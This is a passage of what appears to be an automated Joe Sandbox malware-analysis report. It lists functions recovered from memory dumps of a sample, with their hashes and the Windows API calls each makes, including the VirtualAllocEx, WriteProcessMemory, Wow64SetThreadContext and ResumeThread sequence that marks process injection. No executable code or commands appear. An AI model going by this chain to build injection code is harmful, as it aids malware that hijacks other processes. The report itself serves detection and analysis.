Snapshot File: hcaresult_0_2_a040000_kAsh3nmsgs.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 0b1570214f0c731d54715cdff1791f6fd613f1d3a8d7e31205f898ba405319ad
Instruction ID: 07b3fcab81cf9f4dccf0f93244889c15d89ead22cc8366ecc7bae28dfae005b0
Opcode Fuzzy Hash: 0b1570214f0c731d54715cdff1791f6fd613f1d3a8d7e31205f898ba405319ad
Instruction Fuzzy Hash: 522155B19002499FDB10CFA9C881BEEBFF1FF48310F108429E958A7251C7789945CF64

Function 0A04C7E8 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 0A04C878

Memory Dump Source

Source File: 00000000.00000002.1736460805.000000000A040000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a040000_kAsh3nmsgs.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: d8be5c160b179110cd35f4726826969edaf7c0ffe4832a8875f951ebaa6e7f22
Instruction ID: 75629f628094b2df2c46a521ee2a8bec1c4d27cb5d6d84647489521fbd2850d5
Opcode Fuzzy Hash: d8be5c160b179110cd35f4726826969edaf7c0ffe4832a8875f951ebaa6e7f22
Instruction Fuzzy Hash: 062144B19003499FDB10CFA9C881BDEBBF5FF48310F10842AE918A7250D778A944CFA4

Function 0A04C8D0 Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0A04C958

Memory Dump Source

Source File: 00000000.00000002.1736460805.000000000A040000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a040000_kAsh3nmsgs.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 9df07e260e29cba5a7db9350bfb2f40177c55d177f036e55cf9fc6f0bfd4c16d
Instruction ID: 612cde3817820a171fcac297758305af96b5966bf84b0beeb672cd10969066c2
Opcode Fuzzy Hash: 9df07e260e29cba5a7db9350bfb2f40177c55d177f036e55cf9fc6f0bfd4c16d
Instruction Fuzzy Hash: 6E2136B29003499FDB10CFAAC845AEEFBF5FF48320F108429E558A7250D738A945CFA5

Function 0A04C648 Relevance: 1.6, APIs: 1, Instructions: 65threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 0A04C6CE

Memory Dump Source

Source File: 00000000.00000002.1736460805.000000000A040000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a040000_kAsh3nmsgs.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 77cfd891f5014ef17b07d374ce3a2e1d141667fdc6cee08ea451d9a2cf69dcd1
Instruction ID: cfe34901126539e14c09879478e20247afd4bdf344acdc93bef44ef82c9aa5d7
Opcode Fuzzy Hash: 77cfd891f5014ef17b07d374ce3a2e1d141667fdc6cee08ea451d9a2cf69dcd1
Instruction Fuzzy Hash: 4D2139B19002499FDB10CFA9C485BEEBBF5FF89314F14842AD459A7241C7789945CFA4

Function 09D5EA60 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

MonitorFromPoint.USER32(?,?,00000002), ref: 09D5EADF

Memory Dump Source

Source File: 00000000.00000002.1735315394.0000000009D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 09D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d50000_kAsh3nmsgs.jbxd

Similarity

API ID: FromMonitorPoint
String ID:
API String ID: 1566494148-0
Opcode ID: 56939dc48a7b213c54327841dbc0503dbd7d3436ce1bd224390c0af9d32dd922
Instruction ID: e02c741ffd50e3a4f8d7f6f05d11926a181fc49875e2e965c5f1187b3d15d524
Opcode Fuzzy Hash: 56939dc48a7b213c54327841dbc0503dbd7d3436ce1bd224390c0af9d32dd922
Instruction Fuzzy Hash: 14215EB5900218AFCB14EFA9D4057AEFBF5FB98310F10841AE856B7740C774A944CFA1

Function 0A04C8D8 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0A04C958

Memory Dump Source

Source File: 00000000.00000002.1736460805.000000000A040000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a040000_kAsh3nmsgs.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 3a1e5ab8af49471578c85190f916ce36808edb2d834253fce78417854c618b14
Instruction ID: 05dfaafdd4c1f70038146936527f30c32442fe2ef8013c4945388e0f52b67204
Opcode Fuzzy Hash: 3a1e5ab8af49471578c85190f916ce36808edb2d834253fce78417854c618b14
Instruction Fuzzy Hash: 932139B19003599FDB10DFAAC845AEEFBF5FF48310F108429E559A7250C7389944DFA5

Function 0A04C650 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 0A04C6CE

Memory Dump Source

Source File: 00000000.00000002.1736460805.000000000A040000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a040000_kAsh3nmsgs.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 13915a9d2f7c08bc30aba1b17088f9fb004d533b5ef2d4063bd623c1e0d77465
Instruction ID: 5f5bb9a3119df561b512ec5d4a2d7e70f9f52da8f35283b7a4f69378d5028d96
Opcode Fuzzy Hash: 13915a9d2f7c08bc30aba1b17088f9fb004d533b5ef2d4063bd623c1e0d77465
Instruction Fuzzy Hash: 772118B19002099FDB10DFAAC4857EEBBF4EF89324F14C42AD459A7241C778A945CFA5

Function 09D5EA50 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

MonitorFromPoint.USER32(?,?,00000002), ref: 09D5EADF

Memory Dump Source

Source File: 00000000.00000002.1735315394.0000000009D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 09D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d50000_kAsh3nmsgs.jbxd

Similarity

API ID: FromMonitorPoint
String ID:
API String ID: 1566494148-0
Opcode ID: 20066417437ddd69c9351eec7f63a52f39aa18c4176a0fee29046306c2828080
Instruction ID: e58ecea95fe0f21ff4949ea77c73d0ddfe4bf4a68575a771bcca9f35f6e6bf89
Opcode Fuzzy Hash: 20066417437ddd69c9351eec7f63a52f39aa18c4176a0fee29046306c2828080
Instruction Fuzzy Hash: A2214AB5900259AFCF10EFA9D4057EEBFB0FB49320F10845AE856AB641C735A944CFA5

Function 0A04C720 Relevance: 1.6, APIs: 1, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0A04C796

Memory Dump Source

Source File: 00000000.00000002.1736460805.000000000A040000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a040000_kAsh3nmsgs.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c09b90a4ada6b92d0382423e415853194b83082cd41a142855267a8fa10c0e59
Instruction ID: 9c4605e3ba6d866d6ff966d6cbde678884bf3d7872c31ef2918f5ce0ddc2a059
Opcode Fuzzy Hash: c09b90a4ada6b92d0382423e415853194b83082cd41a142855267a8fa10c0e59
Instruction Fuzzy Hash: CA216AB18002499FDB10DFA9C8456DEBFF5EF49320F108829D455AB210C735A940CFA0

Function 0A04C728 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0A04C796

Memory Dump Source

Source File: 00000000.00000002.1736460805.000000000A040000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a040000_kAsh3nmsgs.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 2a1589743c9a980eba8453a2f5977352f610e3d3409720ff083879f8d6c91ddd
Instruction ID: fb8c111349a922ee224ed7c247c77983ad8e3cc7f1122b57adc65b5a253e4d60
Opcode Fuzzy Hash: 2a1589743c9a980eba8453a2f5977352f610e3d3409720ff083879f8d6c91ddd
Instruction Fuzzy Hash: EF1137B29002499FDB10DFAAC845BDEBFF5EF88320F108829E559A7250C775A944CFA5

Function 0A04C599 Relevance: 1.6, APIs: 1, Instructions: 53threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 0A04C602

Memory Dump Source

Source File: 00000000.00000002.1736460805.000000000A040000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a040000_kAsh3nmsgs.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 51a9dc97e0f6a9836466a3d6eaedcd0ce4a998a6730f8f2a118b9005cc1884b2
Instruction ID: 317d034e3fbb7b741f852fe3929e742eb3f7f2bb2694b60e73fe1474c970da55
Opcode Fuzzy Hash: 51a9dc97e0f6a9836466a3d6eaedcd0ce4a998a6730f8f2a118b9005cc1884b2
Instruction Fuzzy Hash: A6114CB19002888FDB20DFA9C4457EEFFF5AF89324F248469C499A7251CA395545CFA4

Function 0F1811B0 Relevance: 1.5, APIs: 1, Instructions: 49windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 0F181215

Memory Dump Source

Source File: 00000000.00000002.1737717003.000000000F180000.00000040.00000800.00020000.00000000.sdmp, Offset: 0F180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f180000_kAsh3nmsgs.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 1b8efb10bd1a68c50e4e39f39f24ad30652643d1de3c9583096152b8b9449d45
Instruction ID: 4255d4640e3b581e3f414dfef4d70823c8c2599ab45bf1c815c1bd24c43f235c
Opcode Fuzzy Hash: 1b8efb10bd1a68c50e4e39f39f24ad30652643d1de3c9583096152b8b9449d45
Instruction Fuzzy Hash: 021102B6800349AFDB10DF99C945BDEBBF8EB49320F108459D454A7201C375A985CFA1

Function 0A04C5A0 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 0A04C602

Memory Dump Source

Source File: 00000000.00000002.1736460805.000000000A040000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a040000_kAsh3nmsgs.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: a72b7419f0a5484ce414a1bdd585e634072817d3723f7f0adcccd59f3ed41058
Instruction ID: e6cd3c2d088102666fc97e183b08ca952d89732b98ba7cb0ba19db1c8b7e5ad2
Opcode Fuzzy Hash: a72b7419f0a5484ce414a1bdd585e634072817d3723f7f0adcccd59f3ed41058
Instruction Fuzzy Hash: 591136B19002488FDB20DFAAC4457EEFBF5EB88324F248429D459A7250CB79A944CFA5

Function 0148E700 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0148E766

Memory Dump Source

Source File: 00000000.00000002.1729500262.0000000001480000.00000040.00000800.00020000.00000000.sdmp, Offset: 01480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1480000_kAsh3nmsgs.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 728e11b9c1533f0ff26131aaf42de49bdc358de05b7232196433c5d9d695b134
Instruction ID: 6c720b9b22f59e7e4943b04b07d629b23502567d50971aef9e7eff00a9b3e4a6
Opcode Fuzzy Hash: 728e11b9c1533f0ff26131aaf42de49bdc358de05b7232196433c5d9d695b134
Instruction Fuzzy Hash: E01110B6C003498FEB10EF9AC444ADEFBF8AB88324F10842AD518B7210C375A545CFA1

Function 0F1811B8 Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 0F181215

Memory Dump Source

Source File: 00000000.00000002.1737717003.000000000F180000.00000040.00000800.00020000.00000000.sdmp, Offset: 0F180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f180000_kAsh3nmsgs.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: d18bbfaa549250f521fc101f0ab1c4b3dfd27c82ada18bad1ed17b55f78cf824
Instruction ID: ec1a6232876d6386e766a80cf7fa294bc28c496bbf448d7b7d05e8259605d4eb
Opcode Fuzzy Hash: d18bbfaa549250f521fc101f0ab1c4b3dfd27c82ada18bad1ed17b55f78cf824
Instruction Fuzzy Hash: CB11D3B58003499FDB10DF9AD545BDEFBF8EB48324F208419D558A7211C375A944CFA5

Function 0142D4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1728703154.000000000142D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0142D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_142d000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5187542bcbdafb09ce91eec455037fddcd677db0b842e95622b2c3901fd3488
Instruction ID: a59263eb6ab92099bf2fb2afc83005210188f31062edcf8b0a6a6dd79582c7b9
Opcode Fuzzy Hash: c5187542bcbdafb09ce91eec455037fddcd677db0b842e95622b2c3901fd3488
Instruction Fuzzy Hash: 9D212571904240DFDB05DF58D9C0B27BFA5FB88318F60C56AE9094B366C376D4D6CAA1

Function 0143D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1728839788.000000000143D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0143D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_143d000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94a875e6703e1b26b14dd4df04d25376b1866836f3497642393820c95820bb9a
Instruction ID: fcf470f1d5368ba879d4699febb36e14cec3560e4653ff531514945e7ac32dd6
Opcode Fuzzy Hash: 94a875e6703e1b26b14dd4df04d25376b1866836f3497642393820c95820bb9a
Instruction Fuzzy Hash: 10212671904200EFDB05DF98D9C0B26BBA5FBC8324F60C66EE9494B366C736D446CA61

Function 0143D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1728839788.000000000143D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0143D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_143d000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0c5b4d782e7b8e4179f88947c0edde3fa03dd5e64277b4861787847ff1d738e
Instruction ID: 6d79019c44f058836965ece67977620a535f3368e4f5f380e2952adf83ed0b64
Opcode Fuzzy Hash: b0c5b4d782e7b8e4179f88947c0edde3fa03dd5e64277b4861787847ff1d738e
Instruction Fuzzy Hash: 292133B0904200DFCB15DF58D980B16FBB5EB88718F60C56AD80A4B366C336C407CA61

Function 0143D006 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1728839788.000000000143D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0143D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_143d000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb43c6d032cf538b9a4a6b06f806404280a107b45bf87d86d2da42c045e252cf
Instruction ID: efa75d48b7cea19d8a30f6248d32f8357a0c29adc537d90ca95218a5e60a2293
Opcode Fuzzy Hash: eb43c6d032cf538b9a4a6b06f806404280a107b45bf87d86d2da42c045e252cf
Instruction Fuzzy Hash: 2D2180755093808FDB03CF64D594716BF71EB86218F28C5DBD8498F2A7C33A980ACB62

Function 0142D4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1728703154.000000000142D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0142D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_142d000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction ID: a41819b1cc6d150b3b1ee0288ebb8de777888d155075a215fc20642eef1ec57b
Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction Fuzzy Hash: A111E172804280CFDB02CF54D9C4B16BF71FB84318F24C6AAD8090B266C336D49ACBA1

Function 0143D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1728839788.000000000143D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0143D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_143d000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: 1f85ea7f0a51dc4cce4b1f9308c01b34855b1066318487fc9d2fcf1996b9ee92
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: C911BB75904280DFDB02CF54C5C4B16BFA1FB88224F24C6AAD8494B3A6C33AD40ACB61

Function 0142D745 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1728703154.000000000142D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0142D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_142d000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 508003353578252b9616af0bcb196c30eb2d8d08c0411ff44b7dd01b2c60c0aa
Instruction ID: de2cc12956bd20290bc3a4e08e4f234f3c57e6d8ecfb444823af2961437522fd
Opcode Fuzzy Hash: 508003353578252b9616af0bcb196c30eb2d8d08c0411ff44b7dd01b2c60c0aa
Instruction Fuzzy Hash: C3012B318083909AE7105F69CD84B67BF9CDF81324F48C52BED084A2A6C23DD881C6B1

Function 0142D744 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1728703154.000000000142D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0142D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_142d000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a42b207410b55f185a949ec28b18a37b0905daab6473e6f1cc2fd61b0789b4d4
Instruction ID: 73562f3b9885f6f9f79aaba8e410233e6147cf6f7b7f33e3a3a6dbed6b26f4eb
Opcode Fuzzy Hash: a42b207410b55f185a949ec28b18a37b0905daab6473e6f1cc2fd61b0789b4d4
Instruction Fuzzy Hash: E6F06875404354AEE7118E19C884B63FF98EF81734F18C45AED484A296C2799844CA71

Non-executed Functions

Function 0A040040 Relevance: 7.3, Strings: 5, Instructions: 1028COMMON

Download Yara Rule

Strings

Te^q, xrefs: 0A040897
TJcq, xrefs: 0A0401E6
xbaq, xrefs: 0A040171
4'^q, xrefs: 0A040C3C
pbq, xrefs: 0A040D13

Memory Dump Source

Source File: 00000000.00000002.1736460805.000000000A040000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a040000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID: 4'^q$TJcq$Te^q$pbq$xbaq
API String ID: 0-2576840827
Opcode ID: 8439a2e30449139c4cb3e11205039c9dde30782bf9196dcdbd3b79fd2904af8a
Instruction ID: 9b754990cfea92bf1a3371425e6ed029426d616fb138d0ab3dbed4f28fc74d80
Opcode Fuzzy Hash: 8439a2e30449139c4cb3e11205039c9dde30782bf9196dcdbd3b79fd2904af8a
Instruction Fuzzy Hash: C6B2C175E00228DFDB64CF69C984AD9BBB2FF89304F1581E9D509AB225DB359E81CF40

Function 0A04001B Relevance: 4.0, Strings: 3, Instructions: 254COMMON

Download Yara Rule

Strings

Te^q, xrefs: 0A040897
TJcq, xrefs: 0A0401E6
xbaq, xrefs: 0A040171

Memory Dump Source

Source File: 00000000.00000002.1736460805.000000000A040000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a040000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID: TJcq$Te^q$xbaq
API String ID: 0-3225726259
Opcode ID: 3f0ef0871bebefecf69060c32fb22e18bfcaeece973d2243d8bcef8d2ce5cc09
Instruction ID: 4a815b1d561ee5b00f958c8fe4071f1cd838e4650e641677fd9d2d21f2f444cd
Opcode Fuzzy Hash: 3f0ef0871bebefecf69060c32fb22e18bfcaeece973d2243d8bcef8d2ce5cc09
Instruction Fuzzy Hash: A4C182B5E016188FDB58CF6AC9446DDBBF2BF89300F14C1EAD909AB325DA345E858F50

Function 01482CD8 Relevance: 1.4, Strings: 1, Instructions: 111COMMON

Download Yara Rule

Strings

y, xrefs: 01482E23

Memory Dump Source

Source File: 00000000.00000002.1729500262.0000000001480000.00000040.00000800.00020000.00000000.sdmp, Offset: 01480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1480000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID: y
API String ID: 0-1623555479
Opcode ID: c1fbd0c4e92e238e7f86f37d2e922306eeb6a9ab30477159457da89902d76c2a
Instruction ID: 0e234208b6f148ab921965530f82942c93616898569fa1c63f7cbf20e1bf53dc
Opcode Fuzzy Hash: c1fbd0c4e92e238e7f86f37d2e922306eeb6a9ab30477159457da89902d76c2a
Instruction Fuzzy Hash: C541C471704645CFC750DA6DD881E6BBBF2FB84210B24882BE82AC7760D2B0E942CF01

Function 0A049E20 Relevance: .3, Instructions: 318COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1736460805.000000000A040000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a040000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5539e079cae56cd4ca14ec5efedee299ae596e0fcc0143b9bd9113d06792ddf5
Instruction ID: bdb26f066d94f058170bed9a1524ef8b68f6d9f4a8d0e4977cd77287eeac644b
Opcode Fuzzy Hash: 5539e079cae56cd4ca14ec5efedee299ae596e0fcc0143b9bd9113d06792ddf5
Instruction Fuzzy Hash: 54E1F7B4E102198FCB14CFA9C5809AEFBB2FF89305F248169E415AB356D735AD41CF61

Function 0A04B940 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1736460805.000000000A040000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a040000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da6d968408c96d53a175b7ae869bd0836a738e71023d7c019a8c549b184c03da
Instruction ID: b9d2c1c74290a77a2289022d904540957d5455847d6ff81403cfafda9b7e97b2
Opcode Fuzzy Hash: da6d968408c96d53a175b7ae869bd0836a738e71023d7c019a8c549b184c03da
Instruction Fuzzy Hash: B8E1D8B4E102198FCB14CFA9C5809AEBBF2FF89305F248169E415AB356DB35AD41CF61

Function 0A04BD78 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1736460805.000000000A040000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a040000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 641bb486777857c6f83d6a3ee2bedc980b5ccbbb92182e308acc5b57a11a2b20
Instruction ID: 4f95a531be40b4cf2bbd1f84698e29b53ea7fac5ebdcf174c94d0938913103e5
Opcode Fuzzy Hash: 641bb486777857c6f83d6a3ee2bedc980b5ccbbb92182e308acc5b57a11a2b20
Instruction Fuzzy Hash: EAE1E7B4E111198FDB14CFA9C5809AEBBF2FF89305F248169E419AB356D730AD41CFA0

Function 0A04A268 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1736460805.000000000A040000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a040000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eacaf1ba1978c1f5779211fcf1a750805c8a0d3eb6f566a88a7f418bf221ad6c
Instruction ID: a1b93e8f399288897c0208cf71f3dc810b525d341dd21260a628d15a14c98c3d
Opcode Fuzzy Hash: eacaf1ba1978c1f5779211fcf1a750805c8a0d3eb6f566a88a7f418bf221ad6c
Instruction Fuzzy Hash: 8DE1F6B4E112198FDB14CFA9C5809AEBBF2FF89305F248169E415AB356D734AD41CFA0

Function 0A04A6A0 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1736460805.000000000A040000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a040000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: beb5a5d1f4ae8c2bcf119e1c564f35b895aa7180bd48ac8ae9cb02b5ee128853
Instruction ID: 35b5b266fd497ff34f054a435b1eaad2891727e122ee8a35f2157692491e5d98
Opcode Fuzzy Hash: beb5a5d1f4ae8c2bcf119e1c564f35b895aa7180bd48ac8ae9cb02b5ee128853
Instruction Fuzzy Hash: 59E1E5B4E102198FCB14CFA9C5809AEBBF2FF89305F248169E415AB356D734AD42CF61

Function 0A0428E8 Relevance: .2, Instructions: 239COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1736460805.000000000A040000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a040000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2169d14cd030c6e94d774ef94fab2d8dd3ab3c45c1a0ea448f907d4750308016
Instruction ID: df78497803715fcaf4e4b613fd613945371397f583fada9f055bf194162c747d
Opcode Fuzzy Hash: 2169d14cd030c6e94d774ef94fab2d8dd3ab3c45c1a0ea448f907d4750308016
Instruction Fuzzy Hash: E2A1C2B4E0422CDBDB24CFAAC8447EDBBF6BF89300F10916AE509A7251DB745985CF40

Function 014836E0 Relevance: .2, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1729500262.0000000001480000.00000040.00000800.00020000.00000000.sdmp, Offset: 01480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1480000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d5360cd5dfa18f1db17d5e098a0f4dc7df7c3dcc247ce86a9a31b9e76846306
Instruction ID: 929d6ef87b825a70fe8f7c4eb702be6cc2a13b40a592c9bd3304d01f2f7062a4
Opcode Fuzzy Hash: 6d5360cd5dfa18f1db17d5e098a0f4dc7df7c3dcc247ce86a9a31b9e76846306
Instruction Fuzzy Hash: 5D71D071E1420A8FCB40EFA8C8815AEFBF5FB89610B55C16BD41AEB261D274DD42CB91

Function 0A04B92F Relevance: .1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1736460805.000000000A040000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a040000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b70ea61fded9fcdeda2d2b1dc8e3022bd5e138b69ba08f0d2765a8b5a810c02
Instruction ID: 04167074e129d24bcc4815d8e265418139ceb34fffde7957c63e00cf834f91b9
Opcode Fuzzy Hash: 3b70ea61fded9fcdeda2d2b1dc8e3022bd5e138b69ba08f0d2765a8b5a810c02
Instruction Fuzzy Hash: A8512AB0E102198FCB14CFA9C5805AEFBF2FF8A304F24C1A9D458A7256D731A942CF60

Function 0A04BD68 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1736460805.000000000A040000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a040000_kAsh3nmsgs.jbxd

Similarity

API ID:
String ID:
